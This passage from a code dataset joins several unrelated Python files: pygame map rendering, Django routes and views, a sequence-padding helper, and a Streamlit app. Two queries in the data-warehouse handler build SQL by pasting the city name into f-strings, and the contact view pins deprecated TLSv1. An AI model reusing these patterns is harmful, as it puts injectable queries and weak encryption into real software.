19))\n terrain, this_feature = feature_map.get_feature(random_pos)\n feature = self.map_texture[\n self.load_texture_list.index(self.battle_map_colour[this_feature][0])]\n\n choose = randint(0, len(feature) - 1)\n if randint(0, 100) >= feature_map.feature_mod[this_feature][\"Texture Density\"]:\n this_texture = feature[choose]\n rect = this_texture.get_rect(center=random_pos)\n self.image.blit(this_texture, rect)\n\n for team, pos_list in camp_pos.items(): # redraw camp again so map texture not blocking its view\n for pos in pos_list:\n camp_texture = apply_sprite_colour(self.camp_texture.copy(), self.team_colour[team])\n self.image.blit(camp_texture, camp_texture.get_rect(center=pos[0]))\n pygame.draw.circle(self.image, self.team_colour[team], pos[0], pos[1], 10)\n\n if place_name:\n self.image.blit(place_name, (0, 0))\n\n self.image = pygame.transform.smoothscale(self.image, (self.image.get_width() * self.screen_scale[0] * 5,\n self.image.get_height() * self.screen_scale[1] * 5))\n\n self.rect = self.image.get_rect(topleft=(0, 0))\n self.true_image = self.image.copy()\n\n def change_map_stuff(self, which, *args):\n if which == \"effect\":\n t1 = threading.Thread(target=self.add_effect, args=args, daemon=True)\n t1.start()\n t1.join()\n elif which == \"mode\":\n t1 = threading.Thread(target=self.change_mode, daemon=True)\n t1.start()\n t1.join()\n\n def add_effect(self, effect_image=None, time_image=None):\n self.base_image = self.true_image.copy()\n if effect_image: # add weather filter effect\n self.base_image.blit(pygame.transform.smoothscale(effect_image,\n (effect_image.get_width() * 5,\n effect_image.get_height() * 5)), (0, 0))\n\n if time_image: # add day time effect\n self.base_image.blit(pygame.transform.smoothscale(time_image,\n (time_image.get_width() * 5,\n time_image.get_height() * 5)), (0, 0))\n self.change_mode()\n\n def change_mode(self):\n \"\"\"Switch between normal, height normal map, topology map mode\"\"\"\n self.image = self.base_image.copy()\n if self.mode == 1: # with topology map\n self.image.blit(pygame.transform.smoothscale(self.height_map.topology_image,\n (\n self.height_map.topology_image.get_width() *\n self.screen_scale[\n 0] * 5,\n self.height_map.topology_image.get_height() *\n self.screen_scale[1] * 5)), (0, 0))\n\n def clear_image(self):\n self.image = None\n self.base_image = None\n self.true_image = None\n self.map_move_array = []\n self.map_def_array = []\n\n\ndef topology_map_creation(image, poster_level):\n data = pygame.image.tostring(image, \"RGB\") # convert image to string data for filtering effect\n img = Image.frombytes(\"RGB\", (image.get_width(), image.get_height()),\n data) # use PIL to get image data\n img = ImageOps.grayscale(img) # grey scale the image\n img = img.filter(ImageFilter.GaussianBlur(radius=2)) # blur Image\n img = ImageOps.posterize(img, poster_level) # posterise\n img = img.filter(ImageFilter.FIND_EDGES) # get edge\n # images = ImageOps.invert(images) # invert\n # enhancer = ImageEnhance.Contrast(images)\n # images = enhancer.enhance(5)\n\n # replace black background with transparent\n img = img.convert(\"RGBA\")\n data = img.getdata()\n new_data = []\n for item in data:\n if item == (0, 0, 0, 255):\n new_data.append((255, 255, 255, 0))\n else:\n new_data.append(item)\n img.putdata(new_data)\n\n img = img.tobytes()\n return pygame.image.fromstring(img, (image.get_width(), image.get_height()), \"RGBA\") # convert to a pygame surface\n\n\n# Random map creation\n\ndef random_matrix(matrix, max_random):\n for i in range(len(matrix)):\n for j in (range(len(matrix[i]))):\n matrix[i][j] = int(round(random() * max_random, 0))\n return matrix\n\n\ndef random_range(value_1, value_2):\n if value_1 == value_2:\n return value_1\n if value_1 - value_2 > 0:\n return randrange(value_2, value_1, 1)\n else:\n return randrange(value_1, value_2, 1)\n\n\ndef arm_horizontal(matrix):\n result = []\n temp = []\n for i in range(len(matrix)):\n for j in (range(len(matrix[i]) - 1)):\n temp.append(matrix[i][j])\n temp.append(int(random_range(int(matrix[i][j]), int(matrix[i][j + 1]))))\n temp.append(matrix[i][-1])\n result.append(temp)\n temp = []\n return result\n\n\ndef arm_vertical(matrix):\n result = []\n temp = []\n for i in range(len(matrix) - 1):\n result.append(matrix[i])\n for j in (range(len(matrix[i]))):\n temp.append(int(random_range(int(matrix[i][j]), int(matrix[i + 1][j]))))\n result.append(temp)\n temp = []\n result.append(matrix[-1])\n return result\n\n\ndef create_matrix(seed, rounds, max_value):\n r = random_matrix([[0] * seed for _ in range(seed)], max_value)\n for i in range(rounds):\n r = arm_horizontal(r)\n r = arm_vertical(r)\n return r\n\n\ndef create_random_map(terrain_list, feature_list, terrain_random, feature_random, height_random, map_size=(1000, 1000)):\n terrain = create_matrix(terrain_random, 5, (len(terrain_list) - 1) * 10)\n terrain = matrix_to_map(terrain, False, map_size, colour_list=terrain_list)\n feature = create_matrix(feature_random, 5, (len(feature_list) - 1) * 10)\n feature = matrix_to_map(feature, False, map_size, colour_list=feature_list)\n height = create_matrix(height_random, 5, 200)\n height = matrix_to_map(height, True, map_size)\n return terrain, feature, height\n\n\ndef matrix_to_map(matrix, alpha, map_size, colour_list=None):\n if alpha:\n map_image = pygame.Surface((len(matrix[0]), len(matrix)), pygame.SRCALPHA)\n else:\n map_image = pygame.Surface((len(matrix[0]), len(matrix)))\n k = pygame.Surface((1, 1), pygame.SRCALPHA)\n for y_index, y in enumerate(matrix):\n for x_index, x in enumerate(y):\n if alpha: # only height map has alpha\n k.fill((255, x, x, 200))\n else:\n k.fill(colour_list[int(round(x, 0) / 10)])\n map_image.blit(k, k.get_rect(center=(x_index, y_index)))\n if alpha:\n return pygame.transform.smoothscale(map_image, map_size)\n else:\n return pygame.transform.scale(map_image, map_size)\n", "repo_name": "remance/Masendor", "sub_path": "engine/battlemap/battlemap.py", "file_name": "battlemap.py", "file_ext": "py", "file_size_in_byte": 19260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 130, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.sprite", "line_number": 12, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game.main_dir", "line_number": 16, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 16, "usage_type": "name"}, {"api_name": "engine.game.game.Game.module_dir", "line_number": 17, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 17, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.terrain_list", "line_number": 18, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 18, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.terrain_colour", "line_number": 19, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 19, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.feature_mod", "line_number": 20, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 20, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.feature_list", "line_number": 21, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 21, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.feature_colour", "line_number": 22, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 22, "usage_type": "name"}, {"api_name": "engine.data.datamap.BattleMapData.battle_map_colour", "line_number": 23, "usage_type": "attribute"}, {"api_name": "engine.data.datamap.BattleMapData", "line_number": 23, "usage_type": "name"}, {"api_name": "engine.game.game.Game.team_colour", "line_number": 24, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 24, "usage_type": "name"}, {"api_name": "engine.game.game.Game.selected_team_colour", "line_number": 25, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 25, "usage_type": "name"}, {"api_name": "engine.game.game.Game.screen_scale", "line_number": 26, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 26, "usage_type": "name"}, {"api_name": "engine.game.game.Game.battle", "line_number": 27, "usage_type": "attribute"}, {"api_name": "engine.game.game.Game", "line_number": 27, "usage_type": "name"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 30, "usage_type": "attribute"}, {"api_name": "{'Game': 'engine.game.game.Game', 'BattleMapData': 'engine.data.datamap.BattleMapData'}.__init__", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.surfarray.array3d", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 42, "usage_type": "attribute"}, {"api_name": "{'Game': 'engine.game.game.Game', 'BattleMapData': 'engine.data.datamap.BattleMapData'}.__init__", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.surfarray.array3d", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 73, "usage_type": "call"}, {"api_name": "{'Game': 'engine.game.game.Game', 'BattleMapData': 'engine.data.datamap.BattleMapData'}.__init__", "line_number": 100, "usage_type": "call"}, {"api_name": "pygame.surfarray.pixels_green", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.multiply.outer", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.surfarray.pixels_green", "line_number": 123, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.surfarray.make_surface", "line_number": 124, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 126, "usage_type": "call"}, {"api_name": "pygame.BLEND_RGB_SUB", "line_number": 128, "usage_type": "attribute"}, {"api_name": "functools.lru_cache", "line_number": 114, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 145, "usage_type": "call"}, {"api_name": "pygame.BLEND_RGB_SUB", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pygame.BLEND_RGB_MULT", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 158, "usage_type": "call"}, {"api_name": "{'Game': 'engine.game.game.Game', 'BattleMapData': 'engine.data.datamap.BattleMapData'}.__init__", "line_number": 180, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 189, "usage_type": "call"}, {"api_name": "engine.utility.load_image", "line_number": 190, "usage_type": "call"}, {"api_name": "engine.utility.load_images", "line_number": 198, "usage_type": "call"}, {"api_name": "engine.utility.filename_convert_readable", "line_number": 198, "usage_type": "call"}, {"api_name": "engine.utility.load_images", "line_number": 202, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 220, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 221, "usage_type": "call"}, {"api_name": "pygame.BLEND_RGB_ADD", "line_number": 234, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 237, "usage_type": "call"}, {"api_name": "pygame.image.tostring", "line_number": 243, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 243, "usage_type": "attribute"}, {"api_name": "PIL.Image.frombytes", "line_number": 244, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 244, "usage_type": "name"}, {"api_name": "PIL.ImageFilter.GaussianBlur", "line_number": 246, "usage_type": "call"}, {"api_name": "PIL.ImageFilter", "line_number": 246, "usage_type": "name"}, {"api_name": "pygame.image.fromstring", "line_number": 248, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 248, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 250, "usage_type": "call"}, {"api_name": "engine.utility.apply_sprite_colour", "line_number": 257, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 259, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 259, "usage_type": "attribute"}, {"api_name": "pygame.transform.smoothscale", "line_number": 262, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 262, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 267, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 272, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 273, "usage_type": "call"}, {"api_name": "engine.utility.apply_sprite_colour", "line_number": 280, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 282, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 282, "usage_type": "attribute"}, {"api_name": "pygame.transform.smoothscale", "line_number": 287, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 287, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 295, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 299, "usage_type": "call"}, {"api_name": "pygame.transform.smoothscale", "line_number": 306, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 306, "usage_type": "attribute"}, {"api_name": "pygame.transform.smoothscale", "line_number": 311, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 311, "usage_type": "attribute"}, {"api_name": "pygame.transform.smoothscale", "line_number": 320, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pygame.image.tostring", "line_number": 337, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 337, "usage_type": "attribute"}, {"api_name": "PIL.Image.frombytes", "line_number": 338, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 338, "usage_type": "name"}, {"api_name": "PIL.ImageOps.grayscale", "line_number": 340, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 340, "usage_type": "name"}, {"api_name": "PIL.ImageFilter.GaussianBlur", "line_number": 341, "usage_type": "call"}, {"api_name": "PIL.ImageFilter", "line_number": 341, "usage_type": "name"}, {"api_name": "PIL.ImageOps.posterize", "line_number": 342, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 342, "usage_type": "name"}, {"api_name": "PIL.ImageFilter.FIND_EDGES", "line_number": 343, "usage_type": "attribute"}, {"api_name": "PIL.ImageFilter", "line_number": 343, "usage_type": "name"}, {"api_name": "pygame.image.fromstring", "line_number": 360, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 360, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 368, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 376, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 378, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 427, "usage_type": "call"}, {"api_name": "pygame.SRCALPHA", "line_number": 427, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 429, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 430, "usage_type": "call"}, {"api_name": "pygame.SRCALPHA", "line_number": 430, "usage_type": "attribute"}, {"api_name": "pygame.transform.smoothscale", "line_number": 439, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 439, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 441, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 441, "usage_type": "attribute"}]} +{"seq_id": "1586313906", "text": "from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('create/',views.NoteCreateView.as_view(),name = \"note_create\"),\n path('update///',views.NoteUpdateView.as_view(),name = \"note_update\"),\n path('view///',views.NoteDetailView.as_view(),name = \"note_detail\"),\n path('delete///',views.NoteDeleteView.as_view(),name = \"note_delete\"),\n path('render/pdf//download/',views.render_pdf_download,name = \"render_to_pdf_download\"),\n path('render/pdf//send/email/',views.render_pdf_send_mail,name = \"render_to_pdf_mail\"),\n path('view/all/',views.ViewAllNotes.as_view(),name = \"view_all_notes\"),\n]\n", "repo_name": "ShyamSundhar1411/Notes_Project", "sub_path": "lazynotes/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "17005418339", "text": "from typing import List, Any\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\n\ndef gen_sequence(\n df: pd.DataFrame,\n uid_name: str,\n unit_name: str,\n seq_len: int,\n padding: str = \"pre\",\n truncating: str = \"pre\",\n value: Any = 0,\n) -> List[List[Any]]:\n \"\"\"Generate sequence feature baseed on given unit feature and sequence length.\n\n Parameters\n ----------\n df : pd.DataFrame\n Dataframe containing unit feature.\n uid_name : str\n Name of the column containing user id.\n unit_name: str\n The name of the unit feature.\n seq_len: int\n The maximum length of the sequence.\n padding: str\n The padding method, should be one of {``post``, ``pre``}.\n truncating: str\n The truncating method, should be one of {``post``, ``pre``}.\n valud: Any\n The value to be padded.\n\n Returns\n -------\n List[List[Any]]\n Generated sequence.\n \"\"\"\n\n seq = np.zeros((df.shape[0], seq_len), dtype=df[unit_name].dtype)\n p = 0\n for _, hist in tqdm(df.groupby(uid_name), f\"Generate {unit_name} sequence\"):\n hist = hist[unit_name].tolist()\n hists = [hist[max(0, i - seq_len) : i] for i in range(len(hist))]\n seq[p : p + len(hists), :] = pad_sequences(\n hists, maxlen=seq_len, padding=padding, truncating=truncating, value=value\n )\n p += len(hists)\n\n return seq.tolist() # ! may lead to memory error, need to be fixed\n", "repo_name": "Wp-Zhang/HandyRec", "sub_path": "handyrec/data/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.DataFrame", "line_number": 9, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 16, "usage_type": "name"}]} +{"seq_id": "26976694199", "text": "\"\"\"This module contains necessary business logic in order to communicate with the data warehouse.\"\"\"\nfrom hashlib import md5\nfrom typing import Optional\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nfrom PIL import Image\nfrom psycopg2 import Binary\nfrom data_django.exec_sql import exec_dql_query, exec_dml_query\n\n\ndef upload_image(image: InMemoryUploadedFile, city: str) -> str:\n \"\"\"Uploads an image for the specified city and returns the respective lookup hash.\n\n Parameters\n ----------\n image: InMemoryUploadedFile\n Image to insert.\n city: str\n City the image belongs to.\n\n Returns\n -------\n source_hash: str\n Image lookup hash.\n \"\"\"\n empty_dml_query = (\n \"INSERT INTO load_layer.sight_images(sight_image, sight_city, \"\n \"sight_image_height, sight_image_width, sight_image_data_source) \"\n \"VALUES (%s, %s, %s, %s, %s)\"\n )\n\n img = Image.open(image)\n img_bytes = img.tobytes()\n source_hash = md5(img_bytes).hexdigest() # hash image to guarantee unique user input to DWH\n width = img.size[0]\n height = img.size[1]\n\n query_filling_params = (Binary(img_bytes), city, height, width, source_hash)\n exec_dml_query(empty_dml_query, query_filling_params)\n\n return source_hash\n\n\ndef get_downloaded_model(city: str) -> Optional[bytes]:\n \"\"\"Returns the downloaded and trained model for the specified city if it is available in the data warehouse.\n\n Parameters\n ----------\n city: str\n Name of the city.\n\n Returns\n -------\n found_model: bytes or None\n Retrieved .pt model file.\n \"\"\"\n trained_model_query = (\n f\"SELECT trained_model FROM data_mart_layer.current_trained_models \" f\"WHERE city_name = '{city.upper()}'\"\n )\n found_model = exec_dql_query(trained_model_query, return_result=True)\n if found_model:\n return found_model[0][0].tobytes()\n\n return None\n\n\ndef get_latest_model_version(city: str) -> int:\n \"\"\"Returns the version number of the latest model belonging to the passed city.\n\n Parameters\n ----------\n city: str\n Name of the city.\n\n Returns\n -------\n latest_version: int\n Latest model version.\n \"\"\"\n trained_model_query = (\n f\"SELECT version FROM data_mart_layer.current_trained_models \" f\"WHERE city_name = '{city.upper()}'\"\n )\n found_version = exec_dql_query(trained_model_query, return_result=True)\n if found_version:\n return int(found_version[0][0])\n\n return -1\n", "repo_name": "fabian-0520/amos-pj-ws20-21-computer-vision-for-sights", "sub_path": "amos/django_orchestrator/data_django/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 2518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 10, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 33, "usage_type": "call"}, {"api_name": "psycopg2.Binary", "line_number": 37, "usage_type": "call"}, {"api_name": "data_django.exec_sql.exec_dml_query", "line_number": 38, "usage_type": "call"}, {"api_name": "data_django.exec_sql.exec_dql_query", "line_number": 59, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 43, "usage_type": "name"}, {"api_name": "data_django.exec_sql.exec_dql_query", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "9421364148", "text": "import os\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.views import LoginView\nfrom blog.models import Article\nfrom mysite.forms import UserCreationForm, ProfileForm\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login\nfrom django.core.mail import send_mail\n\n\ndef index(request):\n ranks = Article.objects.order_by('-count')[:2]\n objects = Article.objects.all()[:3]\n context = {\n 'articles': objects,\n \"ranks\": ranks\n }\n return render(request, 'mysite/index.html', context)\n\n\nclass Login(LoginView):\n template_name = 'mysite/auth.html'\n\n def form_valid(self, form):\n messages.success(self.request, 'ログインに成功しました')\n return super().form_valid(form)\n\n def form_invalid(self, form):\n messages.error(self.request, 'ログインに失敗しました')\n return super().form_invalid(form)\n\n\ndef signup(request):\n context = {}\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n # user.is_active = False # メールアドレスの検証などをするときは一度Falseにして、検証が完了したらTrueに戻す\n user.save()\n login(request, user)\n messages.success(request, '登録に成功しました。')\n return redirect('/')\n return render(request, 'mysite/auth.html', context)\n\n\n@login_required\ndef mypage(request):\n user = request.user\n context = {\n \"user\": user\n }\n if request.method == 'POST':\n form = ProfileForm(request.POST, request.FILES)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n messages.success(request, '更新に成功しました。')\n return render(request, 'mysite/mypage.html', context)\n\n\ndef contact(request):\n context = {\n 'grecaptcha_siteky': os.environ['GRECAPTCHA_SITEKEY']\n }\n if request.method == 'POST':\n recaptcha_token = request.POST.get('g-recaptcha-response')\n res = grecaptcha_request(recaptcha_token)\n if not res:\n messages.success(request, '人間の認証に失敗しました。')\n return render(request, 'mysite/contact.html', context)\n # --- notify me\n subject = 'お問い合わせがありました。'\n message = \"\"\"お問い合わせがありました\\n\\n名前：{}\\nメールアドレス：{}\\n内容：{}\"\"\".format(\n request.POST.get('name'),\n request.POST.get('email'),\n request.POST.get('content')\n )\n email_from = os.environ['DEFAULT_EMAIL_FROM']\n email_to = [os.environ['DEFAULT_EMAIL_FROM']]\n send_mail(subject, message, email_from, email_to)\n messages.success(request, 'お問い合わせいただきありがとうございます。')\n # --- notify me\n return render(request, 'mysite/contact.html', context)\n\n\ndef grecaptcha_request(token):\n from urllib import request, parse\n import json\n import ssl\n\n context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)\n\n url = \"https://www.google.com/recaptcha/api/siteverify\"\n headers = {\n 'content-type': 'application/x-www-form-urlencoded'\n }\n data = {\n 'secret': os.environ['GRECAPTCHA_SECRETKEY'],\n 'response': token\n }\n data = parse.urlencode(data).encode()\n req = request.Request(url, method=\"POST\", headers=headers, data=data)\n f = request.urlopen(req, context=context)\n response = json.loads(f.read())\n f.close()\n print('---response---')\n print(response)\n print('---response---')\n return response['success']\n", "repo_name": "tkkitagawa620/django-gcp-training", "sub_path": "mysite/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3824, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "blog.models.Article.objects.order_by", "line_number": 13, "usage_type": "call"}, {"api_name": "blog.models.Article.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "blog.models.Article", "line_number": 13, "usage_type": "name"}, {"api_name": "blog.models.Article.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "blog.models.Article.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "blog.models.Article", "line_number": 14, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView", "line_number": 22, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 30, "usage_type": "name"}, {"api_name": "mysite.forms.UserCreationForm", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 43, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "mysite.forms.ProfileForm", "line_number": 55, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 60, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 48, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 66, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.success", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 72, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 73, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.core.mail.send_mail", "line_number": 83, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 84, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 86, "usage_type": "call"}, {"api_name": "ssl.SSLContext", "line_number": 94, "usage_type": "call"}, {"api_name": "ssl.PROTOCOL_TLSv1", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 101, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlencode", "line_number": 104, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 104, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 105, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 105, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 106, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 106, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 107, "usage_type": "call"}]} +{"seq_id": "34330629518", "text": "# Importing necessary libraries\nimport streamlit as st\nimport pandas as pd\nimport altair as alt\nimport geopandas as gpd\nimport numpy as np\nimport time\nfrom streamlit_extras.app_logo import add_logo\nfrom streamlit_extras.add_vertical_space import add_vertical_space\nfrom streamlit_extras.metric_cards import style_metric_cards\nfrom streamlit_toggle import st_toggle_switch\nfrom streamlit_extras.dataframe_explorer import dataframe_explorer\n\n\ndef style_metric_cards(\n background_color: str = \"#F9ADA0\",\n border_size_px: int = 1,\n border_color: str = \"#2E933C\",\n border_radius_px: int = 5,\n border_left_color: str = \"#887CAF\",\n box_shadow: bool = True,\n ):\n '''\n function that defines the style formatting for the metric cards.\n '''\n box_shadow_str = (\n \"box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15) !important;\"\n if box_shadow\n else \"box-shadow: none !important;\"\n )\n st.markdown(\n f\"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n )\n\ndef get_weights(slider_scores):\n '''\n Anction thst returns all inforamtion needed to calculate scores based on the\n values provided by sliders.\n\n Input:\n slider_scores: a list containing all the sliders' values\n \n Output:\n dict: a dictionary with feature name, slider score, and ascending boolean combined\n '''\n features_list = ['sport_building_count',\n 'distance_from_centre_km',\n 'green_score',\n 'livability_score',\n 'jobs_count',\n 'price_2022',\n 'proximity_score',\n 'density',\n 'crime_and_nuisance']\n asc_bool_list = [False, True, False, False, False, True, False, True, True]\n return {features_list[i]: (slider_scores[i], asc_bool_list[i]) for i in range(len(features_list))}\n\ndef percentage_change(col1, col2):\n '''\n A function that returns the percentage change using two dataframe columns\n\n Input:\n col1: a dataframe column\n col2: a dataframe column\n \n Output:\n A number representing the percentage change\n '''\n return ((col2 - col1) / col1) * 100\n\ndef show_results(sums, scores, planning_mode, copy):\n '''\n Shows results based on the weights that user chooses using the sliders.\n '''\n if planning_mode:\n sums = sums.sort_values('total', ascending = False)\n adjective = 'Worst'\n normalizer = 1\n else:\n adjective = 'Best'\n normalizer = -1\n \n best_neighborhood = sums.iloc[0]['neighborhood']\n second_neighborhood = sums.iloc[1]['neighborhood']\n st.header('The ' + adjective + ' neighborhood for you is: ' + best_neighborhood)\n st.subheader('Analysis of ' + best_neighborhood + 